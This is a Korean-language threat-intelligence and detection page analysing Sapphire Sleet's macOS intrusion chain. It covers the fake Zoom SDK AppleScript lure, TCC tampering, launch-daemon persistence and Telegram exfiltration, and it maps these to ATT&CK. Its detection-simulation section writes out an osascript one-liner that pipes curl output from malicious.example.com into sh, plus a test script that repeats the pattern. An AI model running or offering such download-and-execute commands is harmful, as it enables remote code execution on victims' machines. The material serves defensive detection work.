SOC Prime Bias: Critical

17 4월 2026 18:42

Sapphire Sleet의 macOS 침입 분석: 유인에서 침해까지

Author Photo
SOC Prime Team linkedin icon 팔로우
Sapphire Sleet의 macOS 침입 분석: 유인에서 침해까지
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

마이크로소프트 위협 인텔리전스에서 북한 정부 후원의 사파이어 슬릿 행위자에게 책임이 있는 macOS 중심의 캠페인을 보고했습니다. 이 운영은 소셜 엔지니어링에 의존하여 대상에게 합법적인 줌 SDK 업데이트로 제시된 악성 AppleScript 파일을 실행하게 유도합니다. 실행되면, 스크립트는 curl and osascript를 통해 추가 페이로드를 가져와 여러 단계로 침투를 확장합니다. 이 악성코드는 자격 증명, 암호화폐 지갑 데이터 및 기타 민감한 정보를 탈취하도록 설계되었으며, 원래 macOS의 보안 보호 장치를 우회하여 감염된 시스템에서 활성 상태를 유지합니다.

조사

조사는 .scpt 유인 파일로 시작하여 일련의 curl에서osascript 페이로드 다운로드를 통해 계속되는 다단계 감염 체인을 설명합니다. 연구원들은 여러 백도어 구성 요소를 확인했습니다. 여기에 com.apple.cli가 포함됩니다. icloudzcom.google.chromes.updaters. 위협 행위자들은 또한 macOS TCC 데이터베이스를 조작하여 AppleEvents 권한을 얻고 반사적 코드 로딩 기술을 사용하고 런치 데몬을 통해 지속성을 설정하는 것으로 관찰되었습니다. 데이터 유출 활동은 사용자 에이전트 문자열을 맞춤화하고 텔레그램 봇 API를 통한 통신에 의존했습니다.

완화

Apple은 이미 캠페인의 인프라와 멀웨어 구성 요소를 방해하기 위한 안전한 브라우징 및 XProtect 업데이트를 출시했습니다. 마이크로소프트는 .scpt 파일 실행 차단, 안전하지 않은 curl 파이프라인 제한, 미승인된 TCC 데이터베이스 변경 모니터링 및 의심스러운 항목을 위한 런치 데몬 설치 감사를 권장합니다. 사용자에게 의심의 여지가 있는 소프트웨어 업데이트 프롬프트에 대해 경고하고 예상치 못한 대화상자나 스크립트를 통해 자격증명을 제공하지 않도록 해야 합니다.

응답

방어자는 악성 AppleScript 실행, 비정상적인 curl 사용자 에이전트 문자열 및 알려진 명령 및 제어 도메인으로의 아웃바운드 연결을 탐지해야 합니다. 식별된 이진 파일 및 런치 데몬은 즉시 격리하거나 제거하며, 영향을 받은 사용자의 자격증명 재설정 및 TCC 데이터베이스 무결성 검증을 수행해야 합니다. 사건 대응자는 수집된 시스템 아티팩트에 대한 포렌식 분석을 수행하고 필요한 경우 깨끗한 백업에서 영향을 받은 데이터를 복구해야 합니다.

graph TB %% Class definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 %% Technique nodes tech_user_execution[“<b>기술</b> – <b>T1204.002 사용자 실행: 악성 파일</b><br/><b>설명</b>: 피해자는 악성 파일을 실행하도록 속아 침입이 시작됩니다.”] class tech_user_execution technique tech_trusted_dev_proxy[“<b>기술</b> – <b>T1127 신뢰된 개발 도구 프록시 실행</b><br/><b>설명</b>: 합법적인 개발 도구가 프록시로 사용되어 보안 제어를 우회하고 악성 페이로드를 실행합니다.”] class tech_trusted_dev_proxy technique tech_subvert_trust[“<b>기술</b> – <b>T1553 신뢰 제어 우회</b><br/><b>설명</b>: 공격자는 신뢰 관계 또는 설정을 조작하여 권한 상승 또는 코드 실행을 수행합니다.”] class tech_subvert_trust technique tech_launch_daemon[“<b>기술</b> – <b>T1543.004 시스템 프로세스 생성 또는 수정: Launch Daemon</b><br/><b>설명</b>: 새로운 데몬을 생성하거나 기존 데몬을 수정하여 지속성을 확보합니다.”] class tech_launch_daemon technique tech_alt_auth_material[“<b>기술</b> – <b>T1550 대체 인증 자료 사용</b><br/><b>설명</b>: 탈취되거나 위조된 자격 증명, 토큰 또는 인증서가 인증에 사용됩니다.”] class tech_alt_auth_material technique tech_archive_lib[“<b>기술</b> – <b>T1560.002 수집 데이터 압축: 라이브러리 사용</b><br/><b>설명</b>: 수집된 데이터는 유출 전에 소프트웨어 라이브러리를 사용해 압축됩니다.”] class tech_archive_lib technique tech_exfil_alt_proto[“<b>기술</b> – <b>T1048 대체 프로토콜을 통한 데이터 유출</b><br/><b>설명</b>: DNS, FTP 또는 사용자 정의 포트를 사용하여 데이터가 유출됩니다.”] class tech_exfil_alt_proto technique tech_dynamic_resolution[“<b>기술</b> – <b>T1568 동적 해석</b><br/><b>설명</b>: C2 인프라는 실행 시점에 동적으로 확인됩니다.”] class tech_dynamic_resolution technique tech_reflective_loading[“<b>기술</b> – <b>T1620 리플렉티브 코드 로딩</b><br/><b>설명</b>: 악성 코드가 디스크에 기록되지 않고 메모리에 직접 로드됩니다.”] class tech_reflective_loading technique tech_system_binary_proxy[“<b>기술</b> – <b>T1218.003 시스템 바이너리 프록시 실행</b><br/><b>설명</b>: 신뢰된 시스템 바이너리가 악성 코드 실행에 사용됩니다.”] class tech_system_binary_proxy technique tech_modify_auth_process[“<b>기술</b> – <b>T1556.001 인증 프로세스 수정: 도메인 컨트롤러</b><br/><b>설명</b>: 인증 메커니즘이 변조되어 위조된 인증 정보를 허용합니다.”] class tech_modify_auth_process technique %% Connections showing attack flow tech_user_execution –>|leads_to| tech_trusted_dev_proxy tech_trusted_dev_proxy –>|enables| tech_subvert_trust tech_subvert_trust –>|creates| tech_launch_daemon tech_launch_daemon –>|uses| tech_alt_auth_material tech_alt_auth_material –>|prepares| tech_archive_lib tech_archive_lib –>|triggers| tech_exfil_alt_proto tech_exfil_alt_proto –>|facilitates| tech_dynamic_resolution tech_subvert_trust –>|employs| tech_reflective_loading tech_reflective_loading –>|updates| tech_launch_daemon tech_trusted_dev_proxy –>|leverages| tech_system_binary_proxy tech_system_binary_proxy –>|leads_to| tech_subvert_trust tech_alt_auth_material –>|supports| tech_modify_auth_process tech_modify_auth_process –>|continues| tech_exfil_alt_proto

공격 흐름

시뮬레이션 실행

선행조건: 원격 감시 및 기본 준수 사전 검사 통과했어야 합니다.

이유: 이 섹션은 탐지 규칙을 유발하도록 설계된 상대방 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 설명은 식별된 TTP를 반영해야 하며 탐지 로직에 의해 예상되는 정확한 텔레메트를 생성하기 위함입니다.

  • 공격 내러티브 및 명령:
    상대방은 원격 서버에 호스팅된 악성 PowerShell 스타일 스크립트를 얻었습니다. 독립 실행형 바이너리를 만들지 않기 위해, 그들은 본래의 AppleScript 인터프리터 (osascript)를 활용하고, curl 다운로드를 직접 인터프리터에 파이핑하여 하나의 명령으로 “다운로드 및 실행”을 달성합니다. 이는 규칙의 osascript+curl 패턴과 일치합니다.

    # 규칙을 트리거해야 하는 악성 한 줄 실행
    osascript -e 'do shell script "curl -s https://malicious.example.com/payload.sh | sh"'

    명령줄에 osascript and curl이 포함되어 있어 Sigma 규칙의 조건(selection_osascript 및 selection_curl)이 참으로 평가됩니다.

  • 회귀 테스트 스크립트:

    # simulate_osascript_curl.sh
    # 목적: 탐지 규칙을 일으킬 것으로 예상되는 정확한 텔레메트를 재현
    set -e
    
    # 안전을 위해 해로운 페이로드 정의 (실제 악성 코드 대신 echo 를 사용)
    MALICIOUS_URL="https://example.com/benign_payload.sh"
    
    # 단순히 메시지를 출력하는 더미 무해한 페이로드 생성.
    # 실제 레드 팀 테스트에서는 실제 스크립트를 호스팅하겠지만, 여기에서는 안전을 유지.
    curl -s -o /tmp/benign_payload.sh "$MALICIOUS_URL" || true
    
    # curl을 쉘 명령어로 파이핑하여 AppleScript 실행.
    osascript -e "do shell script "curl -s $MALICIOUS_URL | sh""
  • 정리 명령:

    # cleanup_osascript_curl.sh
    # 임시 파일 삭제 및 스트레이 프로세스 종료.
    rm -f /tmp/benign_payload.sh
    pkill -f "osascript -e"